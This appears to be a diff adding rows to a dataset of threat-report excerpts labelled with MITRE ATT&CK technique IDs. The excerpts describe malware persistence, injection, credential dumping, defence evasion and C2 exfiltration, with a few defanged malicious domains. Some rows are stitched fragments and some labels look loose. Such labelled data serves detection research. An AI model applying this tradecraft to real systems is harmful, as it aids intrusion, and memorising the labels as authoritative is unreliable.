+The Bazar Loader malware was using a code signing certificate signed by Digicert under the organization NOSOV SP Z O O	['T1588.003']
+The sample checks that the machine is domain joined and retrieves the domain name before execution continues. A userID is generated by computing the MD5 of a network interface MAC address that is up and not a loopback device, the domain name, and the registry value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid	['T1016']
+The worm also includes code to scan for open Docker API’s using masscan, then spin up docker images and install itself	['T1046']
+The campaigns use a TrickBot downloader that is signed and uses an icon to pretend it is a Microsoft Word document. To avoid suspicion, the decoy message suggests the user should update Microsoft Word or open the file from another computer	['T1036']
+Sakula also leverages single-byte XOR encoding to obfuscate various strings and files embedded in the resource section, which are subsequently used for User Account Control (UAC) bypass on both 32 and 64-bit systems. Analysis . CTU researchers performed detailed analysis on 346 Sakula samples, including the installer and all dropped files used by the malware to run. Source: Dell SecureWorks) . Installation . In most of the samples collected by the CTU research team, Sakula maintains persistence by setting the registry Run key (SOFTWARE\Microsoft\Windows\CurrentVersion\Run\) in either the HKLM or HKCU hive. In the samples compiled in 2014, the adversary switched to adding the Run key by invoking cmd.exe: The registry value and filename vary by sample. Three of the analyzed samples placed files in %APPDATA%, while the remaining Sakula samples placed files in a directory under %ALLUSERSPROFILE%. A small number of samples did not use an additional subdirectory. The msi.dll file is configured to read and XOR-decode setup.msi, also located in the same directory, and run it in memory. Based on whether the compromised system is 32-bit or 64-bit, the appropriate file is written and run using cmd.exe calling rundll32 on the DLL with the PlayWin32 or PlayWin64 export. Center509671.dat). In a small group of Sakula samples from 2013, the install process also modified the hosts file to point some of the victim's subdomains to various IP addresses within the victim's own organization. The malware also registered a file as a command component within the registry. In the Sakula samples where the install process performed cleanup, the malware invoked cmd.exe	['T1059.003']
+The initial attack did not produce the desired result; The attackers made a second attempt, with a ransomware payload named license.exe, launched from the same location. But before they launched it, they executed a script that disabled Windows Defender’s Real-Time Monitoring feature	['T1562.001']
+The data found within this file is encrypted using a single-byte xor key of 0x41. The file header structure, with the underlying data still encrypted, can be seen below	['T1560.003']
+Since version 0.2.6 This function creates a Kerberos ticket with given user details and server (usually AZUREADSSOACC) password. Uses only user’s SID and server password	['T1558.002']
+The NtdsAudit utility is an auditing tool for Active Directory databases. It allows the user to collect useful statistics related to accounts and passwords. The utility was found on various systems of a victim and matches the NtdsAudit.exe program file version v2.0.5 published on the GitHub project page	['T1201']
+In addition to plainpwd and CredRaptor the toolkit includes a keylogger. The keylogger uses a standard technique to capture keystrokes, specifically the SetWindowsHookEx function	['T1056.001']
+After the anti-analysis checks are complete, the loader starts preparing the infected environment for the downloading of additional payloads. There are 3 download attempts (and thus 3 GET requests trailing by a different numeric ID), the payloads are downloaded subsequently to the user’s %temp% folder	['T1071.001']
+In 2018, CTU researchers observed several GOLD KINGSWOOD campaigns involving SpicyOmelette, a tool used by the group during initial exploitation of an organization. This sophisticated JavaScript remote access tool is generally delivered via phishing, and it uses multiple defense evasion techniques to hinder prevention and detection activities. GOLD KINGSWOOD delivered SpicyOmelette through a phishing email containing a shortened link that appeared to be a PDF document attachment. When clicked, the link used the Google AppEngine to redirect the system to a GOLD KINGSWOOD-controlled Amazon Web Services (AWS) URL that installed a signed JavaScript file, which was SpicyOmelette	['T1566.002']
+Putty – can be leveraged by attackers for remote access, to exfiltrate data and send it back to attackers - PSExec – is a legitimate Microsoft tool that can be exploited by malicious actors and used for lateral movement across victim networks - SNScan – this tool can be used for network reconnaissance, to find other potential targets on victim networks - WinRAR – is an archiving tool that can be used to compress files (potentially to make them easier to send back to attackers) and also to extract files from zipped folders	['T1046']
+In order to execute the additional modules, the malware uses the process hollowing technique for hiding the malicious payload inside an allowlisted process, such as svchost.exe. The payloads are stored encrypted in the filesystem and decrypted in the memory as they are executed	['T1055.012']
+"The PowerShell chain is launched from an obfuscated JScript scriptlet previously downloaded from the command and control (C2) server and launched using cmstp.exe. PowerShell downloader The downloaded PowerShell script code is obfuscated in several layers before the last layer is reached. Beginning of the ""download and load"" shellcode The shellcode is relatively simple and begins with a XOR loop that deobfuscates the rest of the code"	['T1027']
+For example, ORat uses a WMI event consumer to maintain its presence on a compromised host. The group also creates and maintains scheduled tasks to achieve this purpose	['T1546.003']
+The communication between the cryptojacking bot and its mining server is made by using the Stratum protocol on port 10001 and is controlled by the execution of the spreadXfghij.exe program	['T1071']
+Observed Clop samples try to kill several processes and services related to backups and security solutions. Clop also leverages Code Signing to evade detection	['T1489']
+"For instance, the character A would be represented by the two characters 41, which is the hexadecimal representation of that character. The run command (1) creates the process cmd.exe /c with the command parameters appended and will write the output of the command in hexadecimal format to the file %APPDATA%\tmpCa.vbs. The Trojan will then read the hexadecimal formatted contents of this file in 1500 byte blocks, sending each 1500 bytes of data from the file to the C2 server via an HTTP GET request to a URL with the following structure: http://<c2 domain>/resp. hex(Environment.UserName/Environment.MachineName)>AAZ<hex(command prompt output)> The upload command (2) writes data provided by the C2 to a specified file. hex(Environment.UserName/Environment.MachineName)>AAZ<hex(""File Uploaded"")> The download command (3) reads the contents of a specified file and sends the data to the C2 server. If the file does not exist, the Trojan will send the C2 server a message < File Not Found > by sending the following URL: http://<c2 domain>/resp. hex(Environment.UserName/Environment.MachineName)>AAZ<hex(""< File Not Found >"")> If the file exists, the Trojan will read the contents of the specified file and compresses the contents using the GZipStream class. The Trojan then gets the hexadecimal values of the compressed data and will replace the following hexadecimal values on each line with ASCII characters to further compressed the data"	['T1560.003']
+Talos has discovered an unknown Remote Administration Tool that we believe has been in use for over 3 years. During this time it has managed to avoid scrutiny by the security community. The current version of the malware allows the operator to steal files, keystrokes, perform screenshots, and execute arbitrary code on the infected host. Talos has named this malware KONNI. Throughout the multiple campaigns observed over the last 3 years, the actor has used an email attachment as the initial infection vector. They then use additional social engineering to prompt the target to open a .scr file, display a decoy document to the users, and finally execute the malware on the victim's machine. The malware infrastructure of the analysed samples was hosted by a free web hosting provider: 000webhost. The malware has evolved over time	['T1059.003']
+These events will run respectively at 15:30:40 and when the system uptime is between 300 and 400 seconds. The variable $HL39fjh contains the base64-encoded PowerShell command shown in Figure 2. It reads the Windows Registry key where the encrypted payload is stored, and contains the password and the salt needed to decrypt the payload	['T1012']
+This transport library does not appear on disk in its PE format. It is maintained as encrypted resource 107 in the orchestrator module, then decrypted and loaded by the orchestrator directly into the memory of the target process. This C2 interaction module is independent, once started, it interacts with the orchestrator using its local named pipe	['T1027']
+Finally, OverWatch observed AQUATIC PANDA make multiple attempts at credential harvesting by dumping the memory of the LSASS process3 using living-off-the-land binaries rdrleakdiag.exe and cdump.exe — a renamed copy of createdump.exe. The threat actor used winRAR to compress the memory dump in preparation for exfiltration before attempting to cover their tracks by deleting all executables from the ProgramData and Windows\temp\ directories	['T1003.001', 'T1560.001']
+The inclusion of both phone and IMSI numbers show the highly targeted nature of this cyber intrusion. If an SMS message contained either a phone number or an IMSI number that matched the predefined list, it was saved to a CSV file for later theft by the threat actor	['T1074.001', 'T1119']
+The program CrashReporter.exe is heavily obfuscated with the ADVObfuscation library, renamed “snowman” (Obfuscated Files or Information [T1027]). When run, it checks for the Maintain parameter and collects the victim’s host information (System Owner/User Discovery [T1033]), encrypts the collected information with a hardcoded XOR key before exfiltration, and sends the encrypted information to a C2 website (Exfiltration Over C2 Channel [T1041]). The program also creates a scheduled SYSTEM task, named JMTCrashReporter, which runs CrashReporter.exe with the Maintain parameter at any user’s login (Scheduled Task/Job: Scheduled Task [T1053.005	['T1053.005', 'T1027']
+The function hashing algorithm is used to map a hash value of a given function name to its corresponding location in memory using a process known as Run-Time Dynamic Linking. Pre-computed hashes are passed to the hashing algorithm alongside the Windows library containing the related function name. Each function name within the library is hashed; when a match is found, its address is saved	['T1027']
+As mentioned, the registry key (HKLM\SOFTWARE\Microsoft\DRM) is where the malicious payload is stored. In this case, this is the Pillowmint Trojan. Pillowmint is stored and compressed in the registry key	['T1027']
+The ultimate goal of both Type A and B loaders is to de-obfuscate and load a Cobalt Strike Reflective Loader in memory. At the conclusion of the de-obfuscation process, both variants proceed to load the Reflective Loader in memory, which subsequently executes Cobalt Strike Beacon in memory	['T1027.002', 'T1140', 'T1140']
+The second module is used by the operators to execute an obfuscated PowerShell script, which contains a Meterpreter downloader widely known as “Tinymet“. This downloader, seen in past FIN7 campaigns, downloads a one-byte XOR-encrypted (eg. with the key equal to 0x50 or 0x51) piece of meterpreter shellcode to execute	['T1059.001']
+TrickBot sends the reconnaissance information from the target machine to a hardcoded C2 server. The C2 server is responsible for handling the stolen data	['T1041']
+This can potentially bypass application whitelisting since all processes spawned during the attack are legitimate Microsoft executables	['T1055.012']
+Shlayer is perhaps the most talked about macOS malware at the moment and hit the news again recently after being caught sneaking past Apple’s macOS Notarization checks. That version of Shlayer was an interesting diversion: using a Mach-O binary written in C++ to execute a Bash shell script in memory. That might well suggest that Apple’s Notarization checks are static rather than dynamic as the telltale Shlayer code is only evident once the packed binary runs	['T1059.004']
+IRON TWILIGHT’s email credential targeting system allows the threat group to target and exploit accounts for webmail services such as Gmail and Hotmail, as well as corporate email platforms that use webmail interfaces. When targeting email services that provide alternate methods to authenticate account access, such as Gmail’s use of OAuth, the threat actors may abuse this feature to maintain a persistent session with the compromised account	['T1566.002']
+From these web shells, they launched reconnaissance commands, stole data, and dropped additional tools including portqry.exe, renamed cmd.exe, winrar, and the notorious hTran	['T1105']
+kaudited — A file installed as /usr/bin/kaudited. This binary will drop and install several loadable kernel modules (LKMs) on the infected machine. To ensure that the infected machine won’t crash due to the kernel-mode rootkits, it uses different modules for specific kernel versions	['T1547.006']
+2) When contacted, the Google Drive link retrieves a zip file, which contains a .lnk file obfuscated as a .pdf file using the double extension trick. 3) This file requires the target to attempt to open the .lnk file, which redirects the user to a Windows Scripting Component (.wsc) file, hosted on an adversary-controlled microblogging page. MUSTANG PANDA has previously used the observed microblogging site to host malicious PowerShell scripts and Microsoft Office documents in targeted attacks on Mongolia-focused NGOs. 4) The .lnk file uses an embedded VBScript component to retrieve a decoy PDF file and a PowerShell script from the adversary-controlled web page	['T1059.005']
+On January 8, 2018, Unit 42 observed the OilRig threat group carry out an attack on an insurance agency based in the Middle East. In both attacks, the OilRig group attempted to deliver a new Trojan that we are tracking as OopsIE. The January 8 attack used a variant of the ThreeDollars delivery document, which we identified as part of the OilRig toolset based on attacks that occurred in August 2017. Interestingly, the targeted organization in the January 16 attack had already been targeted by the OilRig group a year ago on January 2017. A New Attack On January 8, 2018, the OilRig threat group sent an email with the subject Beirut Insurance Seminar Invitation to an insurance agency in the Middle East. In the January 16, 2018 attack, we observed OilRig attacking an organization it previously targeted in January 2017. In this case, the ThreeDollars delivery document was not used and instead an attempt was made to deliver the OopsIE Trojan directly to the targeted organization, likely via a link within an email. The primary difference was that this sample was encrypted and password protected, requiring the victim to enter in a password which was likely provided by the adversary to view the document. Typically, password protected documents is commonly used by adversaries as an evasion tactic to bypass automated analysis mechanisms due to the password requirement for successful execution. As we have observed throughout our tracking of the OilRig group, adopting proven tactics has been a common behavior over time	['T1204.002']
+In the list of dropped files, VMwareCplLauncher.exe is a legitimate, signed VMware executable that serves to ultimately deliver the BADNEWS payload. The vmtools.dll file is a modified DLL that both ensures persistence and loads MSBuild.exe, which is the BADNEWS malware renamed to spoof a legitimate Microsoft Visual Studio tool. After the files are dropped, the VMwareCplLauncher.exe executable is run, which in turn loads the vmtools.dll DLL file. This DLL file creates a scheduled task named BaiduUpdateTask1, which attempts to run the malicious, spoofed MSBuild.exe every subsequent minute. The technique of having a signed, legitimate, executable load a malicious library is commonly referred to as side-loading, and has been witnessed in a number of campaigns and malware families in the past. The flow of execution from the time the victim opens the malicious Microsoft Word document, to the execution of BADNEWS, may be seen below	['T1053.005', 'T1574.002']
+NavRAT is a remote access trojan (RAT) designed to upload, download and execute files. This screenshot shows the logs messages during the process injection with the API usage. NavRAT starts by copying itself (~emp.exe) to the %ProgramData%\Ahnlab\GoogleUpdate.exe path. NavRAT then creates a registry key in order to execute this file copy at the next reboot of the system, an initial method of persistence. The log files mentioned previously are stored in the same directory as NavRAT on the victim machine, again making it easy for us to find and analyse the additional log files. NavRAT has support for process injection. By using this method, it will copy itself into a running Internet Explorer process in order to avoid detection by running as an independent process	['T1055']
+File hunting plugin: The most frequently used plugin, similar to one used in 2014. Often used to collect Office files from temporary internet history. Detailed survey plugin: Used to gather domain membership, processes/loaded modules, hardware enumeration, installed products, logical and mapped drive information. Evolution of earlier plugin used in 2014. Browser plugin: Used to steal browser history, stored passwords and sessions. Works with Internet Explorer, Chrome, Opera, Firefox, Torch, and Yandex. File listing plugin: Works on local or remote drives and can map additional paths when given credentials	['T1555.003']
+"X-Session: 0""). Its presence on a compromised system allows a threat actor to execute a wide variety of commands, including uploading and downloading files, and spawning a reverse shell. The malware can be configured to use multiple network protocols to avoid network-based detection. DLL side loading is often used to maintain persistence on the compromised system. Its presence on a compromised system allows a threat actor to spawn a reverse shell, upload or download files, and capture keystrokes. DLL side loading has been used to maintain persistence on the compromised system. Source: Dell SecureWorks) - ChinaChopper web shell — A web-based executable script (see Figure 4) that allows a threat actor to execute commands on the compromised system. The server-side component provides a simple graphical user interface for threat actors interacting with web shells. TG-3390 has used additional web shells containing similarly formatted passwords"	['T1105']
+After this registry change, ShowCompColor and ShowInfoTip keys are also modified to disable the display of compressed and encrypted NTFS files in color. This setting allows you to see compressed files in a blue color	['T1112']
+Determine whether the victim’s host machine is running Windows with an x86 or x64 architecture. Parse the contents of a corresponding textbox within the document and convert it to a command line argument specific to the Windows architecture on the victim’s machine	['T1082']
+It was used to overwrite data by the BE2 actor, destroying data stored on hard drives by overwriting file contents. While its use may be intended to cover their tracks, it is heavy handed to use this type of tool to cover one’s tracks in a network. Most likely it is a tool of sabotage, much like the Destover wiper seen on Sony Pictures Entertainment’s networks. Instead of re-using the commercial EldoS RawDisk drivers in their malware, the BE2 developers wrote their own low-level disk and file destruction routines	['T1485']
+After successfully exporting mail they wished to steal, the attacker would remove the evidence of the export request using Remove-MailboxExportRequest	['T1070']
+Once executed, NavRAT will immediately leverage cmd.exe to perform a systeminfo and a tasklist check on the system it is running on while writing the output to a TMP file, once again attempting to hide within an AhnLab folder. Interestingly, the attacker has used the >> method to append to the file so there can be multiple outputs written to their single TMP file	['T1074.001']
+However, what happened was that the actor resized the Certificate Table in the digitally signed ‘vac.dll’ and inserted their own data in the Certificate Table so it doesn’t affect the digital signature	['T1553.002']
+Tomiris is a backdoor written in Go whose role is to continuously query its C2 server for executables to download and execute on the victim system. Before performing any operations, it sleeps for at least nine minutes in a possible attempt to defeat sandbox-based analysis systems	['T1497.003']
+The observed JSS Loader infection led to the download and execution of a setup VBScript from https[:]//petshopbook[.]com. This script installs a custom Sekur PS stager to %LOCALAPPDATA%\Microsoft\WindowsDefender\ClearTemp.ps1 and establishes persistence for this stager with a second VBS that is launched by a scheduled task	['T1053.005']
+We found four different trojaned binaries in use since July 2019. The 5kplayer, driver pack and Firefox trojanized software use a service to achieve persistence. The VPNpro trojanized application uses an AutoRun registry key, as mentioned in the publication released before July 2019. After that, it will check if ESET or BitDefender antivirus are installed before dropping the malware	['T1562.001']
+Security researchers previously discovered Transparent Tribe using sharingmymedia[.]com to host Android malware targeting Indian military and defense personnel.Figure 1: Maldoc masquerading as a congratulatory notice from CLAWS. Figure 2 shows the attackers' use of HTTrack, a free website copier program, to duplicate a legitimate website to use for their own malicious purposes. These examples highlight Transparent Tribe's heavy reliance on social engineering as a core TTP and the group's efforts to make their operations appear as legitimate as possible.Figure 2: Fake website cloned using HTTrack on May 29, 2020. Lures and targeting . Transparent Tribe uses a variety of themes in their lures that evolved over time. Defense-themed lures . Transparent Tribe has historically used military and defense-themes in their phishing emails and maldocs to target Indian military and government personnel. Figure 6: Transparent Tribe's spear-phishing email targeting defense personnel. HoneyTraps . Transparent Tribe consistently uses alluring documents and file names, commonly referred to as honeytraps, to trick victims into executing malicious content on their endpoints. Transparent Tribe also delivers malicious archives containing CrimsonRAT executables using various themes, including honeytraps. Conclusion . Transparent Tribe relies heavily on the use of maldocs to spread their Windows implants. Transparent Tribe uses generically themed content-hosting domains as well as malicious domains masquerading as legitimate defense-related websites	['T1189']
+An interesting fact is that the ransomware enumerates all running processes and compares the hashed name of each process with embedded hash values	['T1057']
+Once the macro collected all the information, it sends the data to the C2 server over an HTTP POST request	['T1071.001']
+The threat actor gave considerable effort to obfuscating the code of this new Anchor_DNS variant using stack strings, string encryption, and by implementing a packer. The following example shows considerable changes in the code of the WinMain() function between an older variant of Anchor_DNS and the new variant	['T1027']
+The main function within the ISMInjector assembly uses the Joiner module to construct the final payload and the Inner module to inject the final payload into a process. Figure 4 shows the ISMInjector’s main function that uses the two modules to carry out its injection process before exiting	['T1055.012']
+"Forensic examination of a computer infected with a banking trojan Oleg Skulkin Senior Digital Forensics Analyst at Group-IB Where did it all start. Since then, phishing emails distributing the trojan have been sent to potential victims with admirable persistence. In this article, I am going to show how to perform forensic analysis of an image of a computer infected with the RTM banking trojan. Let's try to find registry files, such as SOFTWARE, for example. Let's recall Jesse Kornblum's paradox: ""Malware can hide, but it must run"". A good start will be to look for potential persistence mechanisms that can be used by the malware to restart after reboot. Let's start with simple things: we will take the NTUSER.DAT registry file with the latest modification date from the user directory (C:\Users\%username%\), and extract data from it using RegRipper. Let's start with low-hanging fruits, the so-called run keys: The partition was last modified on November 7th, and we see that when a user logs in, the apg.exe file is executed from a very suspicious location. Let's see what else we can find in the b7mg81 directory: TeamViewer. Let's take a closer look at apg.exe and use PPEE: This looks like TeamViewer and is signed as TeamViewer, so does this mean it indeed is TeamViewer. Another interesting file is TeamViewer.ini: Here is anti-forensics: according to the configuration file, our ""TeamViewer"" did not keep any logs, and was apparently used as a RAT (Remote Access Trojan). Well, not bad"	['T1547.001']
+The attackers manually send a command to the JS or C# component to drop and execute a batch file from one of their servers. That batch file writes a malicious INF file and supplies it as a parameter to the Microsoft utility cmstp.exe, which executes a remote scriptlet specified in the INF file. The remote scriptlet contains obfuscated JS code that drops an OCX file and executes it via regsvr32.exe	['T1218.010']
+Almost exclusively, Unit 42 has seen the use of weaponized documents that require user execution. Only once in the last six months have we seen use of exploits to circumvent the need for the user to execute any part of the installation chain	['T1203']
+The attacker created password-protected archives on the victims' OWA server so that they could be exfiltrated via a simple HTTP request	['T1048.002']
+This extreme level of variance was also applied to non-executable entities, such as WMI persistence filter name, WMI filter query, passwords used for 7-zip archives, and names of output log files. Camouflage and blending into the environment. ADFIND legit tool) were always renamed and placed in folders that mimicked existing programs and files already present on a machine. This blending was not just used for files, but for other elements. For example, WMI persistence filters were created with names and queries matching other scripts present in affected organizations. The firewall rules were also methodically removed after the network reconnaissance was completed. Lateral movement activities were never executed without preparation. To increase the likelihood that their activities remain undetected, the attackers first enumerated remote processes and services running on the target host and decided to move laterally only after disabling certain security services	['T1036.005']
+Finally, REvil ransomware marks its binary code for deletion during the next reboot and terminates execution	['T1070.004']
+For example, we recently disclosed the activities of one of those teams (dubbed Tsar team) surrounding the use of mobile malware. This team has previously launched campaigns targeting the United States and European intelligence communities, militaries, defense contractors, news organizations, NGOs and multilateral organizations. It has also targeted jihadists and rebels in Chechnya	['T1027']
+ESET has recently discovered that the BlackEnergy trojan was recently used as a backdoor to deliver a destructive KillDisk component in attacks against Ukrainian news media companies and against the electrical power industry. In this blog, we provide details on the BlackEnergy samples ESET has detected in 2015, as well as the KillDisk components used in the attacks. Furthermore, we examine a previously unknown SSH backdoor that was also used as another channel of accessing the infected systems, in addition to BlackEnergy	['T1133']
+Given this extended period, it is logical to assume that some credentials obtained by the threat actor would be rotated during normal business operations. To combat this, the threat actor periodically “refreshed” their credential set by performing credential theft activities in an already compromised environment. At one victim, CrowdStrike identified multiple instances of domain credential theft months apart, each time with a different credential theft technique	['T1589.001']
+Case in point: Last week, we came across a worm (detected by Trend Micro as Worm.Win32.BLADABINDI.AA) that propagates through removable drives and installs a fileless version of the BLADABINDI backdoor	['T1120']
+The TrickBot modules used for discovery include networkdll and psfin. TrickBot downloads modules for collecting local system information and scouting the network, primarily part of the networkdll module. This module has a battery of command line, WMI and LDAP queries to gather information, and then exfiltrate the data to GRIM SPIDER for review. The psfin module has a similar purpose but specifically searches for financial and point-of-sales indicators	['T1047', 'T1074', 'T1018']
+The core Karagany implant does not delete any of the plugins it downloads, although some of the plugins are designed to self-delete. This oversight facilitates high-fidelity forensic analysis of the majority of plugin activity carried out over the duration of the intrusion and allows a detailed timeline of threat actor activity to be compiled. The malware also creates a directory that is used for storing both plugin output data and to stage data for exfiltration. The ascending numerical value of these directories likely indicates malware versioning	['T1074.001']
+The second portion of EnvyScout is a modified version of the open-source tool FileSaver, which is intended to assist in the writing of files to disk via JavaScript. This methodology may circumvent static analysis of known malicious file types by obscuring them within dynamically altered content upon execution	['T1059.007']
+It can terminate IDA debugger, x32dbg, OllyDbg and more processes to avoid dynamic analysis, close databases, office programs and security tools	['T1562.001']
+OwaAuth is a web shell that is installed as an ISAPI filter on Exchange servers and shares characteristics with the ChinaChopper web shell. In addition to acting as a web shell, the malware captures and DES-encrypts credentials before writing the username and password to disk. The OwaAuth web shell enables a threat actor to upload and download files, launch processes, and execute SQL queries	['T1056.001', 'T1505.003']
+Linux/Ebury is noteworthy for multiple reasons. Although this is something common under the Windows operating system, it is the first time we’ve seen a malicious library being used on POSIX systems. Linux/Ebury also uses innovative tricks to hook functions, discover the address space of the ELF executable that loaded the library and apply patches to its code at runtime. We believe that before using the external library to hook into OpenSSH processes, the author of Linux/Ebury used a patch to modify the source code of OpenSSH, thereby adding “new functionalities” to the software. The first variants found were modified binaries left on the disk. We have also seen usage of the rpm commands to remove signature from the original OpenSSH packages (openssh-server, openssh-clients) and modify the RPM database to update the file hashes with those of the malicious files. This will make the output of rpm --verify openssh-servers report the files as unmodified. However, the output from rpm -qi openssh-servers will clearly show the package is missing its signatures	['T1553.002']
+The macOS version of the malicious application is a DMG Installer that has a disk image format that Apple commonly uses to distribute software over the internet. The installer looks legitimate and has a valid digital signature from Sectigo (Obtain Capabilities: Digital Certificates [T1588.004]). It has very similar functionality to the Windows version	['T1553.002']
+Ryuk does not encrypt files from within its own process memory space, but injects into a remote process. Before injecting into a remote process, Ryuk attempts to adjust its token privileges to have the SeDebugPrivilege. It takes no action if the adjustment of the token privileges fails. Before injecting into a remote process, Ryuk also calls CreateToolhelp32Snapshot to enumerate all running processes. If a process is found that is not named csrss.exe, explorer.exe, lsaas.exe, or is running under NT AUTHORITY system account, Ryuk will inject itself into this single process. Ryuk uses a combination of VirtualAlloc, WriteProcessMemory and CreateRemoteThread to inject itself into the remote process	['T1134']
+Each user on a Mac can have a LaunchAgents folder in their own Library folder to specify code that should be run every time that user logs in. We can confirm this is the case with Green Lambert by running the implant, then checking the user’s LaunchAgents folder	['T1543.001']
+In this latest discovery by McAfee ATR, despite a short pause in similar operations, the Lazarus group targets crypto currency and financial organizations. Furthermore, we have observed an increased usage of limited data gathering modules to quickly identify targets for further attacks. This campaign is tailored to identifying those who are running Bitcoin related software through specific system scans	['T1057']
+The malware also contains an embedded .NET wrapper DLL for creating and managing scheduled tasks on Windows systems	['T1053.005', 'T1053', 'T1053.005']
+"This variation of the Zebrocy downloader begins by gathering the serial number for the storage volume with the label ""C:\"" and the computer name. The main function gets pertinent strings to communicate with its C2 by calling a sub-function with a specific number that the sub-function uses as a case within a switch statement to decrypt the desired string. The main function then calls the subfunction with the argument 3 to get the POST data parameter (“porg”) along with the volume serial number and computer name and will send this data to the C2 via the HTTP POST request. The Trojan will convert these hexadecimal bytes to their binary values and write them to a file and will run the file using the ""open"" function using the ShellExecuteW API function. Also, the author capitalized the “E” in the “dde” command to evade case sensitive signatures. Lastly, the author bolded the “dd” characters within the “dde” command, which breaks the string up within the XML of the DOCX file (word/document.xml) to make signature development difficult, as seen here"	['T1082']
+The malware also loads shellcode in an additional resource, MD5: a4808a329b071a1a37b8d03b1305b0cb, which contains the METALJACK payload. The shellcode performs a system survey to collect the victim's computer name and username and then appends those values to a URL string using libjs.inquirerjs[.]com. It then attempts to call out to the URL	['T1082']
+The spreading technique observed by Anomali researchers is the same one used in previous campaigns. The malware in both previous and ongoing campaign assumes that it has root level access on the machine. Below are code snippets from the current campaign and the campaign reported by Unit 42, where the threat actor uses ssh keys and known hosts if they are available to infect other machines	['T1552.004']
+Next, HyperStack uses a custom handshake that is similar to handshakes used for Carbon named-pipe communications. To detect incoming connections from the controller, the HyperStack implant uses the Windows API call ‘ConnectNamedPipe’. When HyperStack receives an incoming connection, it starts a new thread and continues with the custom handshake. If it matches, the HyperStack implant returns the value CACA05ACCE55F11E to the controller	['T1106']
+The document may also display the fake message “This document is protected” to entice users to enable content and execute malicious code. The .docx file contained embedded x86 and x64 versions of the payload DLL so that the appropriate version was dropped depending on the target operating system	['T1204.002']
+The strings pertaining to the ransomware are encrypted and stored in the .bss section of the binary file. This includes the ransom note along with other important information necessary for the ransomware’s tasks. The strings are decrypted using a key that combined the size and raw address of the .bss section, as well as the ransomware’s compilation timestamp	['T1027']
+GALLIUM predominantly uses widely available tools. In certain instances, GALLIUM has modified these tools to add additional functionality. However, it’s likely these modifications have been made to subvert antimalware solutions since much of the malware and tooling employed by GALLIUM is historic and is widely detected by security products. For example, QuarkBandit is a modified version of the widely used Gh0st RAT, an openly available remote access tool (RAT). Similarly, GALLIUM has made use of a modified version of the widely available Poison Ivy RAT. These RATs and the China Chopper web shell form the basis of GALLIUM���s toolkit for maintaining access to a victim network	['T1588.002']
+For Linux Rabbit to establish a connection with the C2 server, it utilizes Tor hidden services to act as contact points to access a Tor gateway. The malware will randomly select one of the hidden services and then a Tor gateway to follow in order to establish an active C2 URL. The payload for the malware is then sent from the C2 server as an encoded URL parameter	['T1132']
+ntlmrelayx.py: This script performs NTLM Relay Attacks, setting an SMB, HTTP, WCF and RAW Server and relaying credentials to many different protocols (SMB, HTTP, MSSQL, LDAP, IMAP, POP3, etc. The script can be used with predefined attacks that can be triggered when a connection is relayed (e.g. In this mode, for every connection relayed, it will be available to be used later on multiple times through a SOCKS proxy. karmaSMB.py: A SMB Server that answers specific file contents regardless of the SMB share and pathname specified. smbserver.py: A Python implementation of an SMB server	['T1557.001']
+Moreover, USBWorm uses an icon that mimics a Windows directory, tricking the user into executing the malware when trying to access a directory	['T1036.005']
+A string, that contains a PDB-path to debug symbols, suggests one such tool was named CredRaptor by the attackers. This tool collects saved passwords from various browsers such as Google Chrome, Internet Explorer, Mozilla Firefox, and Opera	['T1555.003']
+In the case of a Linux/Ebury backdoor connection, the <version> contains a hexadecimal string of twenty-two (22) characters or more. It embeds an eleven (11) character password that is first encrypted with the client IP address and then encoded as a hexadecimal string; optionally a four (4) byte command may be encrypted and encoded as well after the password	['T1573.001']
+"Cisco Talos assesses with moderate confidence that a campaign we recently discovered called ""BlackWater"" is associated with suspected persistent threat actor MuddyWater. The findings outlined in this blog should help threat hunting teams identify MuddyWater's latest TTPs. In this latest activity, the threat actor first added an obfuscated Visual Basic for Applications (VBA) script to establish persistence as a registry key. Next, the script triggered a PowerShell stager, likely in an attempt to masquerade as a red-teaming tool rather than an advanced actor. The stager would then communicate with one actor-controlled server to obtain a component of the FruityC2 agent script, an open-source framework on GitHub, to further enumerate the host machine. This could allow the threat actor to monitor web logs and determine whether someone uninvolved in the campaign made a request to their server in an attempt to investigate the activity. Once the enumeration commands would run, the agent would communicate with a different C2 and send back the data in the URL field"	['T1104']
+Most of CARBANAK’s strings are encrypted in order to make analysis more difficult. We have observed that the key and the cipher texts for all the encrypted strings are changed for each sample that we have encountered, even amongst samples with the same compile time. The RC2 key used for the HTTP protocol has also been observed to change among samples with the same compile time. These observations paired with the use of campaign codes that must be configured denote the likely existence of a build tool	['T1573.001']
+The wrapper JAR file drops a secondary JAR file and copies it to a %Temp% location. The payload JAR file can be extracted using AES decryption. The first 16 bytes in the file “k” seen in Figure 4 contains the key and the file “e” is the encrypted Java payload	['T1027']
+29],[30(link is external)] - During the STOLEN PENCIL operation in May 2018, Kimsuky used the GREASE malware. 32(link is external)] Kimsuky also targets Microsoft Office users by formatting their documents in a .docx file rather than .hwp and will tailor their macros accordingly	['T1112']
+"Gather the names of all services running on the system. Gather a list of the names of all processes running on the endpoint. Gather the list of all files names listed in the Recent Items folder i.e. Appdata%\Microsoft\Windows\Recent"". - Gather all names of files listed in the Desktop folder of the current user. Gather names of all files and programs listed in the Taskbar i.e. Get Microsoft Version Number from the registry, specifically from reg key/value: HKEY_CLASSES_ROOT\Excel.Application\CurVer||Default. The instrumentor script also enables all macros for Office by setting the VBAWarnings registry value to 0x1 at: HKCU\Software\Microsoft\Office\<OfficeVersionNumber>.0\Word\Security\VBAWarnings = 0x1"	['T1112']
+The anti-detection launcher and decompressor make extensive use of Metasploit’s shikata_ga_nai encoder as well as LZNT1 compression	['T1140']
+Based on the use of the relatively unique PLAINTEE malware, the malware’s use of the same file paths on in each cluster, and the similar targeting, we have grouped these attacks together under the RANCOR campaign moniker. Interestingly, the delivery document borrowed a technique which was publicized in late 2017 as being used by the Sofacy threat actors, embedding the main malicious code in a EXIF metadata property of the document. By doing so, the main content of the macro itself (Figure 2) can be kept relatively simple, and the malicious’ codes small footprint can help enable evasion of automated detection mechanisms based on macro content	['T1204.002']
